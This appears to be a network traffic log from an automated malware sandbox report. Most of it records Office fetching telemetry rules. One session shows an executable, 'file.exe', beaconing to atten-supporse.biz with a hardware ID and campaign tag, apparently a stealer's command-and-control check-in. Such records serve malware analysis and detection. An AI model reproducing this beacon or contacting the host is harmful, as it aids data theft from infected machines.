2024-12-07 16:35:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:34 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 549300b5-601e-000d-6903-482618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163534Z-r1cf579d7789trgthC1EWRkkfc00000003e0000000009qkp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:35 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:35 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: c11f8514-901e-0048-1305-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163535Z-r1cf579d778xr2r4hC1EWRqvfs00000002z0000000002gag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:35 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:36 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:36 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: d196cbd9-901e-008f-5d03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163536Z-r1cf579d7789trgthC1EWRkkfc00000003d000000000b0tb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:36 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:36 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:37 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e267231f-301e-0099-3103-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163537Z-r1cf579d778w59f9hC1EWRze6w000000030g000000008emx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:37 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:36 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:36 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: d196cbda-901e-008f-5e03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163536Z-r1cf579d778qlpkrhC1EWRpfc800000003p00000000001sp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:36 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:37 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 32c7b88d-b01e-003e-5b01-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163537Z-r1cf579d778kr8xrhC1EWRfkun000000037g000000007gv1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:37 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	49754	104.21.16.9	443	5480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:37 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=15J0MQASECQIAJS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1220 Host: atten-supporse.biz
2024-12-07 16:35:37 UTC	1220	OUT	Data Raw: 2d 2d 31 35 4a 30 4d 51 41 53 45 43 51 49 41 4a 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 30 46 32 33 41 32 46 30 43 44 35 38 31 39 44 35 39 39 44 41 46 36 43 39 35 44 36 30 32 39 0d 0a 2d 2d 31 35 4a 30 4d 51 41 53 45 43 51 49 41 4a 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 35 4a 30 4d 51 41 53 45 43 51 49 41 4a 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --15J0MQASECQIAJSContent-Disposition: form-data; name="hwid"BE0F23A2F0CD5819D599DAF6C95D6029--15J0MQASECQIAJSContent-Disposition: form-data; name="pid"1--15J0MQASECQIAJSContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-07 16:35:39 UTC	1038	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gio6o16fdita76t5oak5dcflvh; expires=Wed, 02-Apr-2025 10:22:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tEzeI3CMxncOnd2mvTCh5ZLog5iBjT0AOfIzhB4VlRrvboVDlwUlqZ2Rr9W7sccWslbtfYuefKXeVCl9bn8rUpL1qF1s8rSkSq9yjUAZ6mFLrnAH%2FfCSpw%2B8saPNw5op1VN6Es8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ee5ee0d6e03c461-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1701&min_rtt=1682&rtt_var=670&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2136&delivery_rate=1587819&cwnd=228&unsent_bytes=0&cid=cc82326044f07fc5&ts=2707&x=0"
2024-12-07 16:35:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-07 16:35:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:37 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:37 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 30883f21-801e-00a0-1802-482196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163537Z-r1cf579d778d5zkmhC1EWRk6h8000000037g000000008qpu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:38 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:38 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:38 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: d23b658c-101e-000b-2402-485e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163538Z-r1cf579d778qgtz2hC1EWRmgks00000002pg00000000619d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:39 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:38 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:39 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 2968f52d-d01e-002b-1502-4825fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163539Z-r1cf579d7782ctslhC1EWRfbrw00000003c0000000003cum x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:39 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:38 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:39 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 072142d6-401e-0029-0802-489b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163539Z-r1cf579d778xq4f9hC1EWRx41g00000002qg000000004qqb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:39 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 